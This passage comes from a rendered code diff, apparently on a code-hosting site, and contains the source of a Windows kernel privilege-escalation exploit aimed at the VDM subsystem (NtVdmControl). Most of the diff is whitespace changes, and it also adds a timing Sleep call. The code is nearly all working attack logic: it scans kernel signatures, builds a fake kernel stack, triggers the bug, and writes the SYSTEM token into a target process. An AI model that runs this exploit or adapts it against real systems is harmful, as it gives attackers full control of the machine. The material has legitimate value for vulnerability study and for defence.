DosHeader = (PIMAGE_DOS_HEADER)(ImageBase);
|
||||
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
||||
OptHeader = &PeHeader->OptionalHeader;
|
||||
// Parse image headers
|
||||
*KernelBase = (DWORD) ModuleInfo.Module[0].Base;
|
||||
ImageBase = (PBYTE) KernelHandle;
|
||||
DosHeader = (PIMAGE_DOS_HEADER)(ImageBase);
|
||||
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
||||
OptHeader = &PeHeader->OptionalHeader;
|
||||
|
||||
LogMessage(L_DEBUG, "Searching for kernel %u.%u signature { %02hhx, %02hhx, ... } ...",
|
||||
osvi.dwMajorVersion,
|
||||
osvi.dwMinorVersion,
|
||||
CodeSignatures[Version][0],
|
||||
CodeSignatures[Version][1]);
|
||||
LogMessage(L_DEBUG, "Searching for kernel %u.%u signature { %02hhx, %02hhx, ... } ...",
|
||||
osvi.dwMajorVersion,
|
||||
osvi.dwMinorVersion,
|
||||
CodeSignatures[Version][0],
|
||||
CodeSignatures[Version][1]);
|
||||
|
||||
// Scan for the appropriate signature
|
||||
for (i = OptHeader->BaseOfCode; i < OptHeader->SizeOfCode; i++) {
|
||||
if (memcmp(&ImageBase[i], CodeSignatures[Version], sizeof CodeSignatures[Version]) == 0) {
|
||||
LogMessage(L_INFO, "Signature found %#x bytes from kernel base", i);
|
||||
// Scan for the appropriate signature
|
||||
for (i = OptHeader->BaseOfCode; i < OptHeader->SizeOfCode; i++) {
|
||||
if (memcmp(&ImageBase[i], CodeSignatures[Version], sizeof CodeSignatures[Version]) == 0) {
|
||||
LogMessage(L_INFO, "Signature found %#x bytes from kernel base", i);
|
||||
|
||||
*OffsetFromBase = i;
|
||||
FreeLibrary(KernelHandle);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
*OffsetFromBase = i;
|
||||
FreeLibrary(KernelHandle);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
LogMessage(L_ERROR, "Code not found, the signatures need to be updated for your kernel");
|
||||
LogMessage(L_ERROR, "Code not found, the signatures need to be updated for your kernel");
|
||||
|
||||
FreeLibrary(KernelHandle);
|
||||
FreeLibrary(KernelHandle);
|
||||
|
||||
return FALSE;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// A quick logging routine for debug messages.
|
||||
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
|
||||
{
|
||||
CHAR Buffer[1024] = {0};
|
||||
va_list Args;
|
||||
CHAR Buffer[1024] = {0};
|
||||
va_list Args;
|
||||
|
||||
va_start(Args, Format);
|
||||
vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
|
||||
va_end(Args);
|
||||
va_start(Args, Format);
|
||||
vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
|
||||
va_end(Args);
|
||||
|
||||
switch (Level) {
|
||||
case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
|
||||
case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break;
|
||||
case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break;
|
||||
case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break;
|
||||
}
|
||||
switch (Level) {
|
||||
case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
|
||||
case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break;
|
||||
case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break;
|
||||
case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break;
|
||||
}
|
||||
|
||||
fflush(stdout);
|
||||
fflush(stderr);
|
||||
fflush(stdout);
|
||||
fflush(stderr);
|
||||
|
||||
return TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
|
|
@ -12,11 +12,6 @@
|
|||
// This file contains the exploit payload and VDM Subsystem control routines.
|
||||
//
|
||||
|
||||
// This file has been modified from the original:
|
||||
// * The CurrentThread is now much more precise thanks to research/code from Pusscat
|
||||
// * The Sleep(1000) call before triggering the bug avoids a rare race condition in thread initialization
|
||||
// * The ZwTerminateProcess path has been updated to flip back to the kernel stack first
|
||||
|
||||
#ifndef WIN32_NO_STATUS
|
||||
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
|
||||
#endif
|
||||
|
@ -80,64 +75,64 @@ BOOL FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL);
|
|||
BOOL CheckAndReplace(PDWORD, DWORD, DWORD, DWORD);
|
||||
|
||||
DWORD ethreadOffsets[] = { 0x6, // WinXP SP3, VistaSP2
|
||||
0xA // Windows 7, VistaSP1
|
||||
};
|
||||
0xA // Windows 7, VistaSP1
|
||||
};
|
||||
|
||||
// This routine is where I land after successfully triggering the vulnerability.
|
||||
VOID FirstStage()
|
||||
{
|
||||
FARPROC DbgPrint;
|
||||
FARPROC PsGetCurrentThread;
|
||||
FARPROC PsGetCurrentProcessId;
|
||||
FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;
|
||||
FARPROC PsLookupProcessByProcessId;
|
||||
FARPROC PsReferencePrimaryToken;
|
||||
FARPROC ZwTerminateProcess;
|
||||
PVOID CurrentProcess;
|
||||
PVOID CurrentThread;
|
||||
PVOID TargetProcess, *PsInitialSystemProcess;
|
||||
DWORD StackBase, StackLimit, NewStack;
|
||||
DWORD i;
|
||||
LIST_ENTRY *ThreadListHead;
|
||||
HANDLE pid;
|
||||
DWORD pret;
|
||||
FARPROC DbgPrint;
|
||||
FARPROC PsGetCurrentThread;
|
||||
FARPROC PsGetCurrentProcessId;
|
||||
FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;
|
||||
FARPROC PsLookupProcessByProcessId;
|
||||
FARPROC PsReferencePrimaryToken;
|
||||
FARPROC ZwTerminateProcess;
|
||||
PVOID CurrentProcess;
|
||||
PVOID CurrentThread;
|
||||
PVOID TargetProcess, *PsInitialSystemProcess;
|
||||
DWORD StackBase, StackLimit, NewStack;
|
||||
DWORD i;
|
||||
LIST_ENTRY *ThreadListHead;
|
||||
HANDLE pid;
|
||||
HANDLE pret;
|
||||
|
||||
// Keep interrupts off until I've repaired my KTHREAD.
|
||||
__asm cli
|
||||
// Keep interrupts off until I've repaired my KTHREAD.
|
||||
__asm cli
|
||||
|
||||
// Resolve some routines I need from the kernel export directory
|
||||
DbgPrint = KernelGetProcByName("DbgPrint");
|
||||
PsGetCurrentThread = KernelGetProcByName("PsGetCurrentThread");
|
||||
PsGetCurrentProcessId = KernelGetProcByName("PsGetCurrentProcessId");
|
||||
PsGetCurrentThreadStackBase = KernelGetProcByName("PsGetCurrentThreadStackBase");
|
||||
PsGetCurrentThreadStackLimit = KernelGetProcByName("PsGetCurrentThreadStackLimit");
|
||||
PsInitialSystemProcess = KernelGetProcByName("PsInitialSystemProcess");
|
||||
PsLookupProcessByProcessId = KernelGetProcByName("PsLookupProcessByProcessId");
|
||||
PsReferencePrimaryToken = KernelGetProcByName("PsReferencePrimaryToken");
|
||||
ZwTerminateProcess = KernelGetProcByName("ZwTerminateProcess");
|
||||
// Resolve some routines I need from the kernel export directory
|
||||
DbgPrint = KernelGetProcByName("DbgPrint");
|
||||
PsGetCurrentThread = KernelGetProcByName("PsGetCurrentThread");
|
||||
PsGetCurrentProcessId = KernelGetProcByName("PsGetCurrentProcessId");
|
||||
PsGetCurrentThreadStackBase = KernelGetProcByName("PsGetCurrentThreadStackBase");
|
||||
PsGetCurrentThreadStackLimit = KernelGetProcByName("PsGetCurrentThreadStackLimit");
|
||||
PsInitialSystemProcess = KernelGetProcByName("PsInitialSystemProcess");
|
||||
PsLookupProcessByProcessId = KernelGetProcByName("PsLookupProcessByProcessId");
|
||||
PsReferencePrimaryToken = KernelGetProcByName("PsReferencePrimaryToken");
|
||||
ZwTerminateProcess = KernelGetProcByName("ZwTerminateProcess");
|
||||
|
||||
CurrentThread = (PVOID) PsGetCurrentThread();
|
||||
StackLimit = (DWORD) PsGetCurrentThreadStackLimit();
|
||||
StackBase = (DWORD) PsGetCurrentThreadStackBase();
|
||||
CurrentThread = (PVOID) PsGetCurrentThread();
|
||||
StackLimit = (DWORD) PsGetCurrentThreadStackLimit();
|
||||
StackBase = (DWORD) PsGetCurrentThreadStackBase();
|
||||
|
||||
//DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p\n",
|
||||
// CurrentThread,
|
||||
// StackBase,
|
||||
// StackLimit);
|
||||
//DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p\n",
|
||||
// CurrentThread,
|
||||
// StackBase,
|
||||
// StackLimit);
|
||||
|
||||
NewStack = StackBase - ((StackBase - StackLimit) / 2);
|
||||
|
||||
// First I need to repair my CurrentThread, find all references to my fake kernel
|
||||
// stack and repair them. Note that by "repair" I mean randomly point them
|
||||
// somewhere inside the real stack.
|
||||
// First I need to repair my CurrentThread, find all references to my fake kernel
|
||||
// stack and repair them. Note that by "repair" I mean randomly point them
|
||||
// somewhere inside the real stack.
|
||||
|
||||
// Walk only the offsets that could possibly be bad based on testing, and see if they need
|
||||
// to be swapped out. O(n^2) -> O(c) wins the race!
|
||||
for (i = 0; i < sizeof(ethreadOffsets) / sizeof (DWORD); i++) {
|
||||
CheckAndReplace((((PDWORD) CurrentThread)+ethreadOffsets[i]),
|
||||
(DWORD) &KernelStackPointer[0],
|
||||
(DWORD) &KernelStackPointer[KernelStackSize - 1],
|
||||
(DWORD) NewStack);
|
||||
(DWORD) &KernelStackPointer[0],
|
||||
(DWORD) &KernelStackPointer[KernelStackSize - 1],
|
||||
(DWORD) NewStack);
|
||||
}
|
||||
|
||||
// DbgPrint("CurrentProcess: 0x%.8x (newstack: 0x%.8x\n", CurrentProcess, NewStack);
|
||||
|
@ -145,83 +140,83 @@ VOID FirstStage()
|
|||
|
||||
//DbgPrint("ThreadListHead[1]: FLink:0x%.8x, BLink:0x%.8x\n", ThreadListHead->Flink, ThreadListHead->Blink);
|
||||
|
||||
// Find the EPROCESS structure for the process I want to escalate
|
||||
if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
|
||||
PACCESS_TOKEN SystemToken;
|
||||
PACCESS_TOKEN TargetToken;
|
||||
// Find the EPROCESS structure for the process I want to escalate
|
||||
if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
|
||||
PACCESS_TOKEN SystemToken;
|
||||
PACCESS_TOKEN TargetToken;
|
||||
|
||||
// What's the maximum size the EPROCESS structure is ever likely to be?
|
||||
CONST DWORD MaxExpectedEprocessSize = 0x200;
|
||||
// What's the maximum size the EPROCESS structure is ever likely to be?
|
||||
CONST DWORD MaxExpectedEprocessSize = 0x200;
|
||||
|
||||
// DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess);
|
||||
//DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess);
|
||||
// DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess);
|
||||
//DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess);
|
||||
|
||||
// Find the Token object for my target process, and the SYSTEM process.
|
||||
TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
|
||||
SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
|
||||
// Find the Token object for my target process, and the SYSTEM process.
|
||||
TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
|
||||
SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
|
||||
|
||||
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken);
|
||||
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken);
|
||||
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken);
|
||||
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken);
|
||||
|
||||
// Find the token in the target process, and replace with the system token.
|
||||
FindAndReplaceMember((PDWORD) TargetProcess,
|
||||
(DWORD) TargetToken,
|
||||
(DWORD) SystemToken,
|
||||
MaxExpectedEprocessSize,
|
||||
TRUE);
|
||||
// Find the token in the target process, and replace with the system token.
|
||||
FindAndReplaceMember((PDWORD) TargetProcess,
|
||||
(DWORD) TargetToken,
|
||||
(DWORD) SystemToken,
|
||||
MaxExpectedEprocessSize,
|
||||
TRUE);
|
||||
// Success
|
||||
pret = 'w00t';
|
||||
} else {
|
||||
// Maybe the user closed the window?
|
||||
// Report this failure
|
||||
pret = 'LPID';
|
||||
}
|
||||
pret = 'w00t';
|
||||
} else {
|
||||
// Maybe the user closed the window?
|
||||
// Report this failure
|
||||
pret = 'LPID';
|
||||
}
|
||||
|
||||
__asm {
|
||||
mov eax, -1 // ZwCurrentProcess macro returns -1
|
||||
mov ebx, NewStack
|
||||
mov ecx, pret
|
||||
mov edi, ZwTerminateProcess
|
||||
mov esp, ebx // Swap the stack back to kernel-land
|
||||
mov ebp, ebx // Swap the frame pointer back to kernel-land
|
||||
sub esp, 256
|
||||
push ecx // Push the return code
|
||||
push eax // Push the process handle
|
||||
sti // Restore interrupts finally
|
||||
call edi // Call ZwTerminateProcess
|
||||
__emit 0xCC; // Hope we never end up here
|
||||
mov ebx, NewStack
|
||||
mov ecx, pret
|
||||
mov edi, ZwTerminateProcess
|
||||
mov esp, ebx // Swap the stack back to kernel-land
|
||||
mov ebp, ebx // Swap the frame pointer back to kernel-land
|
||||
sub esp, 256
|
||||
push ecx // Push the return code
|
||||
push eax // Push the process handle
|
||||
sti // Restore interrupts finally
|
||||
call edi // Call ZwTerminateProcess
|
||||
__emit 0xCC; // Hope we never end up here
|
||||
}
|
||||
}
|
||||
|
||||
// Search the specified data structure for a member with CurrentValue.
|
||||
BOOL FindAndReplaceMember(PDWORD Structure,
|
||||
DWORD CurrentValue,
|
||||
DWORD NewValue,
|
||||
DWORD MaxSize,
|
||||
BOOL ObjectRefs)
|
||||
DWORD CurrentValue,
|
||||
DWORD NewValue,
|
||||
DWORD MaxSize,
|
||||
BOOL ObjectRefs)
|
||||
{
|
||||
DWORD i, Mask;
|
||||
DWORD i, Mask;
|
||||
|
||||
// Microsoft QWORD aligns object pointers, then uses the lower three
|
||||
// bits for quick reference counting (nice trick).
|
||||
Mask = ObjectRefs ? ~7 : ~0;
|
||||
// Microsoft QWORD aligns object pointers, then uses the lower three
|
||||
// bits for quick reference counting (nice trick).
|
||||
Mask = ObjectRefs ? ~7 : ~0;
|
||||
|
||||
// Mask out the reference count.
|
||||
CurrentValue &= Mask;
|
||||
// Mask out the reference count.
|
||||
CurrentValue &= Mask;
|
||||
|
||||
// Scan the structure for any occurrence of CurrentValue.
|
||||
for (i = 0; i < MaxSize; i++) {
|
||||
if ((Structure[i] & Mask) == CurrentValue) {
|
||||
// And finally, replace it with NewValue.
|
||||
// Scan the structure for any occurrence of CurrentValue.
|
||||
for (i = 0; i < MaxSize; i++) {
|
||||
if ((Structure[i] & Mask) == CurrentValue) {
|
||||
// And finally, replace it with NewValue.
|
||||
if (ObjectRefs == FALSE)
|
||||
__asm int 3
|
||||
Structure[i] = NewValue;
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
Structure[i] = NewValue;
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
// Member not found.
|
||||
return FALSE;
|
||||
// Member not found.
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL CheckAndReplace(PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD value) {
|
||||
|
@ -236,158 +231,158 @@ BOOL CheckAndReplace(PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD val
|
|||
// Find an exported kernel symbol by name.
|
||||
PVOID KernelGetProcByName(PSTR SymbolName)
|
||||
{
|
||||
PUCHAR ImageBase;
|
||||
PULONG NameTable;
|
||||
PULONG FunctionTable;
|
||||
PUSHORT OrdinalTable;
|
||||
PIMAGE_EXPORT_DIRECTORY ExportDirectory;
|
||||
PIMAGE_DOS_HEADER DosHeader;
|
||||
PIMAGE_NT_HEADERS PeHeader;
|
||||
DWORD i;
|
||||
PUCHAR ImageBase;
|
||||
PULONG NameTable;
|
||||
PULONG FunctionTable;
|
||||
PUSHORT OrdinalTable;
|
||||
PIMAGE_EXPORT_DIRECTORY ExportDirectory;
|
||||
PIMAGE_DOS_HEADER DosHeader;
|
||||
PIMAGE_NT_HEADERS PeHeader;
|
||||
DWORD i;
|
||||
|
||||
ImageBase = (PUCHAR) KernelHandle;
|
||||
DosHeader = (PIMAGE_DOS_HEADER) ImageBase;
|
||||
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
||||
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase
|
||||
+ PeHeader->OptionalHeader
|
||||
. DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
|
||||
. VirtualAddress);
|
||||
ImageBase = (PUCHAR) KernelHandle;
|
||||
DosHeader = (PIMAGE_DOS_HEADER) ImageBase;
|
||||
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
||||
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase
|
||||
+ PeHeader->OptionalHeader
|
||||
. DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
|
||||
. VirtualAddress);
|
||||
|
||||
// Find required tablesa from the ExportDirectory.
|
||||
NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
|
||||
FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
|
||||
OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);
|
||||
// Find required tablesa from the ExportDirectory.
|
||||
NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
|
||||
FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
|
||||
OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);
|
||||
|
||||
// Scan each entry for a matching name.
|
||||
for (i = 0; i < ExportDirectory->NumberOfNames; i++) {
|
||||
PCHAR Symbol = ImageBase + NameTable[i];
|
||||
// Scan each entry for a matching name.
|
||||
for (i = 0; i < ExportDirectory->NumberOfNames; i++) {
|
||||
PCHAR Symbol = ImageBase + NameTable[i];
|
||||
|
||||
if (strcmp(Symbol, SymbolName) == 0) {
|
||||
// Symbol found, return the appropriate entry from FunctionTable.
|
||||
return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);
|
||||
}
|
||||
}
|
||||
if (strcmp(Symbol, SymbolName) == 0) {
|
||||
// Symbol found, return the appropriate entry from FunctionTable.
|
||||
return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);
|
||||
}
|
||||
}
|
||||
|
||||
// Symbol not found, this is likely fatal :-(
|
||||
return NULL;
|
||||
// Symbol not found, this is likely fatal :-(
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Exploit entrypoint.
|
||||
BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)
|
||||
{
|
||||
CONST DWORD MinimumExpectedVdmTibSize = 0x400;
|
||||
CONST DWORD MaximumExpectedVdmTibSize = 0x800;
|
||||
FARPROC NtVdmControl;
|
||||
DWORD KernelStack[KernelStackSize];
|
||||
DWORD Ki386BiosCallReturnAddress;
|
||||
CHAR Pid[32], Off[32], Krn[32];
|
||||
struct {
|
||||
ULONG Size;
|
||||
PVOID Padding0;
|
||||
PVOID Padding1;
|
||||
CONTEXT Padding2;
|
||||
CONTEXT VdmContext;
|
||||
DWORD Padding3[1024];
|
||||
} VdmTib = {0};
|
||||
CONST DWORD MinimumExpectedVdmTibSize = 0x400;
|
||||
CONST DWORD MaximumExpectedVdmTibSize = 0x800;
|
||||
FARPROC NtVdmControl;
|
||||
DWORD KernelStack[KernelStackSize];
|
||||
DWORD Ki386BiosCallReturnAddress;
|
||||
CHAR Pid[32], Off[32], Krn[32];
|
||||
struct {
|
||||
ULONG Size;
|
||||
PVOID Padding0;
|
||||
PVOID Padding1;
|
||||
CONTEXT Padding2;
|
||||
CONTEXT VdmContext;
|
||||
DWORD Padding3[1024];
|
||||
} VdmTib = {0};
|
||||
|
||||
// Initialise these structures with recognisable constants to ease debugging.
|
||||
FillMemory(&VdmTib, sizeof VdmTib, 'V');
|
||||
FillMemory(&KernelStack, sizeof KernelStack, 'K');
|
||||
// Initialise these structures with recognisable constants to ease debugging.
|
||||
FillMemory(&VdmTib, sizeof VdmTib, 'V');
|
||||
FillMemory(&KernelStack, sizeof KernelStack, 'K');
|
||||
|
||||
// Parent passes parameters via environment variables.
|
||||
//
|
||||
// - VDM_TARGET_PID
|
||||
// Pid of the process to transplant a SYSTEM token onto.
|
||||
// - VDM_TARGET_OFF
|
||||
// Offset from ntoskrnl of Ki386BiosCallReturnAddress.
|
||||
// - VDM_TARGET_KRN
|
||||
// Ntoskrnl base address.
|
||||
// Parent passes parameters via environment variables.
|
||||
//
|
||||
// - VDM_TARGET_PID
|
||||
// Pid of the process to transplant a SYSTEM token onto.
|
||||
// - VDM_TARGET_OFF
|
||||
// Offset from ntoskrnl of Ki386BiosCallReturnAddress.
|
||||
// - VDM_TARGET_KRN
|
||||
// Ntoskrnl base address.
|
||||
|
||||
GetEnvironmentVariable("VDM_TARGET_PID", Pid, sizeof Pid);
|
||||
GetEnvironmentVariable("VDM_TARGET_KRN", Krn, sizeof Krn);
|
||||
GetEnvironmentVariable("VDM_TARGET_OFF", Off, sizeof Off);
|
||||
GetEnvironmentVariable("VDM_TARGET_PID", Pid, sizeof Pid);
|
||||
GetEnvironmentVariable("VDM_TARGET_KRN", Krn, sizeof Krn);
|
||||
GetEnvironmentVariable("VDM_TARGET_OFF", Off, sizeof Off);
|
||||
|
||||
NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
|
||||
TargetPid = strtoul(Pid, NULL, 0);
|
||||
NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
|
||||
TargetPid = strtoul(Pid, NULL, 0);
|
||||
|
||||
// Setup the fake kernel stack, and install a minimal VDM_TIB,
|
||||
KernelStackPointer = KernelStack;
|
||||
KernelStack[0] = (DWORD) &KernelStack[8]; // Esp
|
||||
KernelStack[1] = (DWORD) NtCurrentTeb(); // Teb
|
||||
KernelStack[2] = (DWORD) NtCurrentTeb(); // Teb
|
||||
KernelStack[7] = (DWORD) FirstStage; // RetAddr
|
||||
KernelHandle = (HMODULE) strtoul(Krn, NULL, 0);
|
||||
VdmTib.Size = MinimumExpectedVdmTibSize;
|
||||
*NtCurrentTeb()->Reserved4 = &VdmTib;
|
||||
// Setup the fake kernel stack, and install a minimal VDM_TIB,
|
||||
KernelStackPointer = KernelStack;
|
||||
KernelStack[0] = (DWORD) &KernelStack[8]; // Esp
|
||||
KernelStack[1] = (DWORD) NtCurrentTeb(); // Teb
|
||||
KernelStack[2] = (DWORD) NtCurrentTeb(); // Teb
|
||||
KernelStack[7] = (DWORD) FirstStage; // RetAddr
|
||||
KernelHandle = (HMODULE) strtoul(Krn, NULL, 0);
|
||||
VdmTib.Size = MinimumExpectedVdmTibSize;
|
||||
*NtCurrentTeb()->Reserved4 = &VdmTib;
|
||||
|
||||
// Initialize the VDM Subsystem.
|
||||
InitializeVdmSubsystem();
|
||||
// Initialize the VDM Subsystem.
|
||||
InitializeVdmSubsystem();
|
||||
|
||||
VdmTib.Size = MinimumExpectedVdmTibSize;
|
||||
VdmTib.VdmContext.SegCs = 0x0B;
|
||||
VdmTib.VdmContext.Esi = (DWORD) &KernelStack;
|
||||
VdmTib.VdmContext.Eip = strtoul(Krn, NULL, 0) + strtoul(Off, NULL, 0);
|
||||
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
|
||||
*NtCurrentTeb()->Reserved4 = &VdmTib;
|
||||
VdmTib.Size = MinimumExpectedVdmTibSize;
|
||||
VdmTib.VdmContext.SegCs = 0x0B;
|
||||
VdmTib.VdmContext.Esi = (DWORD) &KernelStack;
|
||||
VdmTib.VdmContext.Eip = strtoul(Krn, NULL, 0) + strtoul(Off, NULL, 0);
|
||||
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
|
||||
*NtCurrentTeb()->Reserved4 = &VdmTib;
|
||||
|
||||
// Allow thread initialization to complete. Without is, there is a chance
|
||||
// of a race in KiThreadInitialize's call to SwapContext
|
||||
Sleep(1000);
|
||||
|
||||
// Trigger the vulnerable code via NtVdmControl().
|
||||
while (VdmTib.Size++ < MaximumExpectedVdmTibSize)
|
||||
NtVdmControl(VdmStartExecution, NULL);
|
||||
// Trigger the vulnerable code via NtVdmControl().
|
||||
while (VdmTib.Size++ < MaximumExpectedVdmTibSize)
|
||||
NtVdmControl(VdmStartExecution, NULL);
|
||||
|
||||
// Unable to find correct VdmTib size.
|
||||
ExitThread('VTIB');
|
||||
// Unable to find correct VdmTib size.
|
||||
ExitThread('VTIB');
|
||||
}
|
||||
|
||||
// Setup a minimal execution environment to satisfy NtVdmControl().
|
||||
BOOL InitializeVdmSubsystem()
|
||||
{
|
||||
FARPROC NtAllocateVirtualMemory;
|
||||
FARPROC NtFreeVirtualMemory;
|
||||
FARPROC NtVdmControl;
|
||||
PBYTE BaseAddress;
|
||||
ULONG RegionSize;
|
||||
static DWORD TrapHandler[128];
|
||||
static DWORD IcaUserData[128];
|
||||
static struct {
|
||||
PVOID TrapHandler;
|
||||
PVOID IcaUserData;
|
||||
} InitData;
|
||||
FARPROC NtAllocateVirtualMemory;
|
||||
FARPROC NtFreeVirtualMemory;
|
||||
FARPROC NtVdmControl;
|
||||
PBYTE BaseAddress;
|
||||
ULONG RegionSize;
|
||||
static DWORD TrapHandler[128];
|
||||
static DWORD IcaUserData[128];
|
||||
static struct {
|
||||
PVOID TrapHandler;
|
||||
PVOID IcaUserData;
|
||||
} InitData;
|
||||
|
||||
NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtAllocateVirtualMemory");
|
||||
NtFreeVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtFreeVirtualMemory");
|
||||
NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
|
||||
BaseAddress = (PVOID) 0x00000001;
|
||||
RegionSize = (ULONG) 0x00000000;
|
||||
InitData.TrapHandler = TrapHandler;
|
||||
InitData.IcaUserData = IcaUserData;
|
||||
NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtAllocateVirtualMemory");
|
||||
NtFreeVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtFreeVirtualMemory");
|
||||
NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
|
||||
BaseAddress = (PVOID) 0x00000001;
|
||||
RegionSize = (ULONG) 0x00000000;
|
||||
InitData.TrapHandler = TrapHandler;
|
||||
InitData.IcaUserData = IcaUserData;
|
||||
|
||||
// Remove anything currently mapped at NULL
|
||||
NtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);
|
||||
// Remove anything currently mapped at NULL
|
||||
NtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);
|
||||
|
||||
BaseAddress = (PVOID) 0x00000001;
|
||||
RegionSize = (ULONG) 0x00100000;
|
||||
BaseAddress = (PVOID) 0x00000001;
|
||||
RegionSize = (ULONG) 0x00100000;
|
||||
|
||||
// Allocate the 1MB virtual 8086 address space.
|
||||
if (NtAllocateVirtualMemory(GetCurrentProcess(),
|
||||
&BaseAddress,
|
||||
0,
|
||||
&RegionSize,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
|
||||
ExitThread('NTAV');
|
||||
return FALSE;
|
||||
}
|
||||
// Allocate the 1MB virtual 8086 address space.
|
||||
if (NtAllocateVirtualMemory(GetCurrentProcess(),
|
||||
&BaseAddress,
|
||||
0,
|
||||
&RegionSize,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
|
||||
ExitThread('NTAV');
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Finalise the initialisation.
|
||||
if (NtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {
|
||||
ExitThread('VDMC');
|
||||
return FALSE;
|
||||
}
|
||||
// Finalise the initialisation.
|
||||
if (NtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {
|
||||
ExitThread('VDMC');
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
|
Loading…
Reference in New Issue